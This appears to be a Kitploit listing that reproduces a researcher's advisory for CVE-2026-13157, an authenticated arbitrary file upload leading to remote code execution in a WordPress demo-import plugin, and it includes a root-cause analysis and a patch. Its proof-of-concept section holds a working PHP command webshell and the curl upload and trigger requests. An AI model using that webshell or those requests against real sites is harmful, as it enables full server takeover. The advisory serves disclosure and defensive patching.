Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-13157 — Prueba de concepto y análisis de causa raíz para una carga arbitraria de archivos autenticada en WordPress Theme Demo Import que conduce a la ejecución remota de código mediante una webshell PHP. | Kitploit
Herramientas/GitHubGitHub/minhhk68/cve-2026-13157
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónDesarrollo de Payloads
GitHubminhhk68/cve-2026-13157

CVE-2026-13157

Prueba de concepto y análisis de causa raíz para una carga arbitraria de archivos autenticada en WordPress Theme Demo Import que conduce a la ejecución remota de código mediante una webshell PHP.

Ver Repositorio
hace 19 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

[CVE-2026-13157] Theme Demo Import <= 1.1.3 — Carga Arbitraria de Archivos y Ejecución Remota de Código

WPScan Verified Advisory CVSS 6.6 Medium Discovered by Huynh Kien Minh


📖 Descripción General del Aviso

CVE-2026-13157 es una vulnerabilidad autenticada de carga arbitraria de archivos que afecta al plugin de WordPress Theme Demo Import hasta la versión 1.1.3 inclusive, descubierta y analizada por el investigador de ciberseguridad Huynh Kien Minh (MinhHK). La vulnerabilidad reside en la rutina AJAX de importación de demos (TDI_import_demo_data), donde el plugin deshabilita explícitamente las pruebas estándar de verificación de tipo de archivo de WordPress ('test_type' => false) durante el procesamiento de la carga. Un usuario autenticado con capacidades de importación —como un administrador de sitio predeterminado o un administrador de sitio no superadministrador en una arquitectura WordPress Multisite— puede omitir la aplicación de restricciones de archivos para cargar scripts PHP ejecutables arbitrarios directamente en el directorio público wp-content/uploads/, logrando una Ejecución Remota de Código (RCE) persistente y el compromiso total del servidor.


📌 Resumen Ejecutivo


🔍 Causa Raíz y Análisis del Código

La causa raíz de CVE-2026-13157 reside en la arquitectura de manejo de carga de archivos implementada en inc/class-tdi-helpers.php. Durante las operaciones de importación de datos de demostración, el plugin gestiona los archivos adjuntos entrantes a través del endpoint AJAX registrado en inc/class-tdi-main.php en la Línea 55:

root@kitploit:~
// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );

Al procesar los archivos de configuración de demostración cargados (content_file, widget_file y customizer_file), el método de importación interno instruye directamente a la API wp_handle_upload() de WordPress para omitir las comprobaciones de validación de tipo MIME y de formulario de los archivos:

root@kitploit:~
// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
    'test_form' => false,
    'test_type' => false, // CRITICAL VULNERABILITY: Disables MIME and file extension verification!
);

// Handle demo content and widgets file upload.
$content_file_info    = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info     = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );

Al pasar 'test_type' => false a $upload_overrides, el desarrollador anuló el subsistema de verificación MIME del núcleo de WordPress (wp_check_filetype_and_ext()). Como consecuencia directa, la aplicación ya no restringe los archivos adjuntos a formatos seguros de datos de demostración (.xml, .json, .wie, .dat), lo que permite a cualquier usuario autenticado con acceso a la página de ajustes cargar scripts PHP ejecutables (.php, .phtml, .phar) directamente en la raíz pública del documento.


💻 Prueba de Concepto del Exploit (PoC)

Aviso de Investigación Ética: Esta prueba de concepto está documentada estrictamente para auditoría educativa, ingeniería defensiva y validación de seguridad autorizada. Se prohíbe la explotación no autorizada de sistemas en producción.

Requisitos Previos y Configuración

  • Sistema Objetivo: Instancia de WordPress que ejecute Theme Demo Import versión <= 1.1.3.
  • Requisito de Privilegio: Sesión autenticada con capacidades de import (Administrador / Administrador de Sitio Multisite).
  • Obtención del Nonce de Seguridad: Extrae el token de seguridad AJAX tdi-ajax-verification (expuesto en el DOM de la página como propiedad del objeto JavaScript tdi.ajax_nonce en /wp-admin/themes.php?page=theme-demo-import).

Ejecución de la Reproducción

  1. Crea un payload de web shell local titulado exploit_webshell.php:
root@kitploit:~
<?php 
if(isset($_REQUEST['cmd'])){
    system($_REQUEST['cmd']);
} else {
    echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>
  1. Ejecuta el payload autenticado de varias partes mediante cURL apuntando al despachador AJAX administrativo:
root@kitploit:~
curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
  -H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
  -F "action=TDI_import_demo_data" \
  -F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
  -F "content_file=@exploit_webshell.php;type=application/x-php"
  1. El servidor responde con una confirmación JSON afirmativa de la carga. Accede al ejecutable cargado directamente dentro del directorio mensual designado para desencadenar la Ejecución Remota de Código:
root@kitploit:~
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=whoami HTTP/1.1
Host: <TARGET_HOST>

💥 Modelado de Amenazas y Escenarios de Impacto Multisite

Mientras que las instalaciones de WordPress de un solo sitio otorgan a los Administradores estándar un control confiable sobre el entorno del servidor, CVE-2026-13157 introduce un colapso crítico de los límites de seguridad en implementaciones Enterprise y Multisite:

  1. Escalada de Privilegios en WordPress Multisite (RCE de Administrador de Sitio a Súper Administrador): En una arquitectura WordPress Multisite, los administradores de sitios individuales están deliberadamente restringidos por el diseño del núcleo para instalar plugins, editar temas o cargar extensiones de script inseguras (la capacidad unfiltered_upload está reservada únicamente para los Súper Administradores de la Red). CVE-2026-13157 destruye por completo este aislamiento multiinquilino, permitiendo que un administrador de sub-sitio no verificado coloque una web shell y ejecute comandos del sistema en toda la red de servidores.
  2. Omisión de Límites en Hosting Administrado de WordPress: Las plataformas de hosting seguro modernas restringen los permisos de modificación de archivos y deshabilitan las capacidades del editor de archivos (DISALLOW_FILE_EDIT). Esta vulnerabilidad elude las restricciones del hosting aprovechando el mecanismo nativo de transferencia de archivos del plugin para escribir código ejecutable arbitrario directamente en el almacenamiento de volumen escribible.

🛡️ Remediación y Arquitectura del Parche

Para resolver CVE-2026-13157 de forma segura, los mantenedores de software y los ingenieros defensivos deben restablecer inmediatamente la validación estricta del tipo MIME y la extensión de archivo dentro de la lógica de manejo de cargas en inc/class-tdi-helpers.php.

Reemplazo de Código Seguro

Elimina la anulación insegura 'test_type' => false y aplica una lista blanca rigurosa restringida estrictamente a las estructuras estándar de exportación de WordPress (text/xml, application/json):

root@kitploit:~
// Secure Remediation Patch for inc/class-tdi-helpers.php (Lines 495 - 510)
$upload_overrides = array(
    'test_form' => false,
    'test_type' => true, // Enforce strict core file-type verification
    'mimes'     => array(
        'xml'  => 'text/xml',
        'json' => 'application/json',
        'wie'  => 'application/json',
        'dat'  => 'text/plain',
    ),
);

// Perform capability check before handling upload
if ( ! current_user_can( 'import' ) ) {
    wp_send_json_error( array( 'message' => __( 'Insufficient privileges to perform import.', 'theme-demo-import' ) ), 403 );
}

// Proceed with validated file handling
$content_file_info    = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info     = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );

🏆 Acerca del Investigador

Huynh Kien Minh (MinhHK) es un investigador de seguridad de la información, desarrollador de software y analista de vulnerabilidades especializado en seguridad ofensiva de aplicaciones web, auditoría de arquitectura de aplicaciones PHP y vectores de explotación empresarial. Sus descubrimientos y avisos técnicos han sido reconocidos formalmente por las principales bases de datos globales de vulnerabilidades y autoridades de nomenclatura de seguridad de productos.

  • 🌐 Portafolio Oficial del Investigador: https://minhhk.web.app/
  • 🐙 Laboratorio de Seguridad y Repositorios PoC en GitHub: https://github.com/MinhHK68
  • 🛡️ Aviso de Seguridad Verificado por WPScan: Informe WPScan CVE-2026-13157

📊 Metadatos Estructurados (JSON-LD)

root@kitploit:~
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "TechArticle",
      "@id": "https://github.com/MinhHK68/CVE-2026-13157#article",
      "headline": "CVE-2026-13157: Theme Demo Import Arbitrary File Upload & Remote Code Execution Advisory",
      "alternativeHeadline": "Technical Deep-Dive and Exploit Analysis for CVE-2026-13157 by Huynh Kien Minh",
      "author": {
        "@type": "Person",
        "name": "Huynh Kien Minh",
        "alternateName": "MinhHK",
        "url": "https://minhhk.web.app/"
      },
      "datePublished": "2026-08-01",
      "inLanguage": "en-US",
      "description": "Comprehensive security research advisory for CVE-2026-13157 affecting Theme Demo Import WordPress plugin prior to version 1.1.3. Analyzes arbitrary file upload vulnerability via disabled test_type check leading to Remote Code Execution.",
      "keywords": ["CVE-2026-13157", "Theme Demo Import", "Arbitrary File Upload", "Remote Code Execution", "RCE", "WordPress Security", "Huynh Kien Minh", "MinhHK", "WPScan"]
    },
    {
      "@type": "SecurityAdvisory",
      "@id": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/#advisory",
      "identifier": "CVE-2026-13157",
      "name": "Theme Demo Import <= 1.1.3 - Admin+ Arbitrary File Upload",
      "category": "Arbitrary File Upload / RCE",
      "cvssScore": "6.6",
      "severity": "Medium",
      "softwareVersion": "<= 1.1.3",
      "url": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/"
    }
  ]
}
Descargar herramienta
ParámetroEspecificación Técnica
Identificador de VulnerabilidadCVE-2026-13157
Software AfectadoTheme Demo Import (Plugin de WordPress)
Slug del Plugintheme-demo-import
Versiones Afectadas<= 1.1.3
Clase de VulnerabilidadCarga sin restricciones de archivos con tipo peligroso (CWE-434 / OWASP A03)
Puntuación CVSS v3.16.6 (Media) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H)
Descubridor / InvestigadorHuynh Kien Minh (MinhHK)
Autoridad de VerificaciónWPScan / Corporación MITRE
URL del Aviso de WPScanhttps://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/
Portafolio del Investigadorhttps://minhhk.web.app/